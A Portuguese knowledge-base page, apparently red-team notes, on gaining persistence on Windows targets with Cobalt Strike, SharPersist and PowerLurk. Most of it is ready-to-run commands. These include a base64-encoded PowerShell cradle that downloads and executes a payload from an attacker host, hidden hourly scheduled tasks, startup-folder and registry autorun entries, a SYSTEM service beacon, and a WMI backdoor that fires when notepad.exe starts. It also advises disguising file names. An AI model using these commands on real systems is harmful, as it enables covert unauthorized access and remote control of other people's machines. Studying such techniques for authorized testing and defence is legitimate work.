> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/persistencia.md).

# Persistência

## Acesso Comum

O Cobalt Strike não inclui nenhum comando integrado especificamente para persistência, porém existe uma ferramenta boa chamada SharPersist, que é um kit de ferramentas de persistência do Windows escrito pela FireEye. Está escrito em C#, portanto pode ser executado via `execute-assembly`.

### Task Schedule

Abra o powershell (de qualquer máquina) e execute os comandos abaixo. Lembre-se de alterar o caminho web para o caminho configurado no CS.

```bash
$str = 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
```

Caso prefira, pode executar também a partir de um Linux

```bash
set str 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0
```

Agora é necessário ter o `SharPersist` na máquina atacante para poder prosseguir (o `execute-assembly` lê arquivos localmente). Abaixo estamos programando a máquina alvo para executar a cada 1 hora, o comando definido acima. Altere o comando de acordo com a saída do comando anterior:

```bash
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -n "nome-task" -m add -o hourly
```

Explicação:

* `-t` = Técnica de persistência desejada
* `-c` = Comando a ser executado.
* `-a` = Argumentos
* `-n` = Nome da tarefa
* `-m` = Adicionar a tarefa (também é possível remover, verificar e listar)
* `-o` = Frequencia da tarefa

### Startup Folder

Utilize o mesmo esquema de conversão de comando em base64 com unicode para o comando abaixo. Altere o valor do parâmentro `-f` para definir o nome do arquivo. Deixe algo como setup, config, init, etc. Mas atente-se para não colocar o nome de um arquivo que já existe.

```bash
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -f "<filename>" -m add
```

### Registry AutoRun

Primeiro faça upload do arquivo malicioso gerado pelo CS

```bash
cd c:\windows\temp
upload <c:\path\to\file>
```

Agora acesse-o, alterando no comando abaixo o caminho do arquivo e o parâmetro `-v` que é o nome da chave de registro que irá ser criada

```bash
execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t reg -c "<C:\ProgramData\evil.exe>" -a "/q /n" -k "hkcurun" -v "<key-name>" -m add
```

###

## Acesso SYSTEM

Antes de começar, lembre-se de que os processos `SYSTEM` não podem ser autenticados no proxy da web, portanto não podemos usar HTTP Beacons. Então deve-se usar beacons P2P ou DNS. E é claro, tenha em mãos um usuário com altos privilégios.

### Windows Services

Muitos serviços do Windows que são executados como SYSTEM, mas podemos criar o nosso próprio serviço que não terá impacto nos serviços existentes. Faça primeiro o upload do `tcp-local_x64.svc.exe` e renomeie para `mysther-svc.exe`. Agora execute:

```bash
execute-assembly <C:\Path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t service -c "<C:\Path\to\mysther-svc.exe>" -n "mysther-svc" -m add
```

Após isso, a máquina deve ser reiniciada para que o serviço fique ativo e, para acessar de fato o Beacon, devemos executar o comando abaixo:

```bash
connect localhost 4444
```

### WMI Event Subscriptions

A persistência por meio de eventos WMI pode ser alcançada aproveitando as três classes a seguir:

* `EventConsumer` = Ação que queremos realizar – neste caso, executar uma carga útil. Isso pode ser feito por meio de comandos do sistema operacional (como uma linha única do PowerShell) ou VBScript
* `EventFilter` = Gatilho sobre o qual podemos agir. Qualquer consulta WMI arbitrária pode ser usada como um filtro que oferece opções praticamente ilimitadas. Isso pode incluir quando um processo específico é iniciado, quando um usuário faz login, quando um dispositivo USB é inserido, em qualquer horário específico do dia ou em um intervalo de tempo
* `FilterToConsumerBinding` = Simplesmente vincula um EventConsumer e um EventFilter

No comando abaixo, iremos utilizar o PowerLurk, que é uma ferramenta do PowerShell para criar esses eventos WMI. Neste exemplo, iremos carregar uma carga DNS no diretório do Windows, importando o PowerLurk.ps1 e criando uma nova assinatura de evento WMI que a executará sempre que o `notepad.exe` (poderia ser qualquer outro programa) for iniciado.

```bash
cd C:\Windows
upload <C:\Path\to\dns_x64.exe>
powershell-import <C:\Path\to\PowerLurk.ps1>
powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe
```

Feito isso, basta esperar o alvo abrir o `notepad.exe`, que irá gerar o Beacon no CS. Para remover o backdoor, basta executar o comando abaixo:

```bash
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject
```

### Sites

```bash
# PowerLurk
https://github.com/Sw4mpf0x/PowerLurk

# SharPersist
https://github.com/fireeye/SharPersist
```
